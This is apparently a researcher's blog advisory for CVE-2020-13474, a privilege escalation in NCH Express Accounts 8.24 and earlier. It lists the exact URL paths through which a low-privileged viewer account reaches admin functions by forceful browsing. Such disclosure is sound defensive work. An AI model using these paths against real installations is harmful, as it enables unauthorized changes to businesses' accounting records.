CVE-2020-13474: NCH Express Accounts- Privilege Escalation

4 Comments Uncategorized tp9222@gmail.com December 12, 2020

Vulnerable Software: NCH Express Accounts

Vulnerability: Privilege Escalation

Affected Version: 8.24 and prior

Vendor Homepage: https://www.nchsoftware.com/

CVE: CVE-2020-13474

CVE Author: Tejas Nitin Pingulkar

Exploit Available: Yes

About Affected Software

Express Accounts is professional business accounting software, perfect for small businesses needing to document and report on incoming and outgoing cash flow including sales, receipts, payments and purchases.

Additional Information

NCH express Accounts software allows to access it over the web.
A web interface provides 3 types of user

- Administrator
- User
- Viewer

The administrator user has access to all modules including Create new invoice, Create new quote, Create new sales order, Create new purchase order, Apply customers payment, View Credit notes, Enter new account payable, view chart of accounts, Make a payment, Receive a payment, Add new item, Add new customer, Supliers list, Add/Edit users

User with viewer privileges don't have access to above mentioned functionalities by forceful browsing, we will access admin modules using viewer user privileges

Exploit

I have created below users for POC

Admin user: admin@tejas.com
Viewer user: lowuser@tejas.com
As demonstred in video "chart of accounts" has only one entry and lowuser@tejas.com dont have access to "chart of accounts" functionality (or any other module mentioned above) reference video [2:14 min]

login as low privileged user and enter below url

http://[website:port]/acclist

Click add new account

Recent Posts

Protected: Smart Office Suite- Unauthenticated Data Ex

CVE-2021-41716 Mahavitaran Android Application: Account take over via OTP Fixation

CVE-2020-27413 Mahavitaran Android Application: Clear-text password storage

CVE-2020-27416 Mahavitaran Android Application: Account take over via OTP bypass

CVE-2020-35398: UTI Mutual fund Android Application- Username Enumeration

Archives

December 2022

December 2021

September 2021

August 2021

December 2020

July 2020

June 2020

April 2020

Gallery

fill all details click okay

Via forceful browsing we were able to add entry as low user

Similerly below via forceful browsing we can access below mentioned functions

Add New Invoice: http://[website:port]/invoiceprop?onok=invoicelist&oncancel=invoicelist

Add New Quote: http://[website:port]/quoteprop?onok=quotelist&oncancel=quotelist

Add New Sales Order: http://[website:port]/orderprop?onok=orderlist&oncancel=orderlist

Add New Purchase Order: http://[website:port]/porderprop?onok=porderlist&oncancel=porderlist

Payment:http://[website:port]/porderprop?onok=paymentlist&oncancel=paymentlist

Credit Notes:http://[website:port]/creditnotelistperiod

Account Payable: http://[website:port]/accpayable?onok=billlist&oncancel=billlist

Chart of Accounts: http://[website:port]/acclist (video POC)

Payments and Purchases: http://[website:port]/cashtxn?payment=1

Receipts and Deposits: http://[website:port]/cashtxn?payment=0

Add New Item: http://[website:port]/itemprop?onok=itemlist&oncancel=itemlist

Add New Customer: http://[website:port]/customerprop?onok=customerlist&oncancel=customerlist

Suppliers List: http://[website:port]/supplierlist

Proof Of Concept

‹ CVE-2020-13473: NCH Account-Clear Text Password Storage

CVE-2020-27414 Mahavitaran Android Application: Insecure Communication of Sensitive Data ›

4 thoughts on “CVE-2020-13474: NCH Express Accounts- Privilege Escalation”

MILSTER7582
January 4, 2021 at 10:18 am

Thank you!!1

Reply

uqdaerdpqx
March 14, 2021 at 1:19 am

Muchas gracias. ?Como puedo iniciar sesion?

Reply

Tejas Pingulkar
June 10, 2021 at 3:45 pm

Use the below link https://cvewalkthrough.com/wp-login.php

Utilice el siguiente enlace https://cvewalkthrough.com/wp-login.php

Reply

Pingback: Vulnerability Summary for the Week of December 28, 2020 – CYNET-CSIRT

Leave a Reply

Your email address will not be published. Required fields are marked *

Comment *

Name *

Email *

Website

☐ Save my name, email, and website in this browser for the next time I comment.

Post Comment

Copyright © 2020 Mr. Tejas Nitin Pingulkar. Develope by: GSunite Group.

tp9222@gmail.com +91 8149756079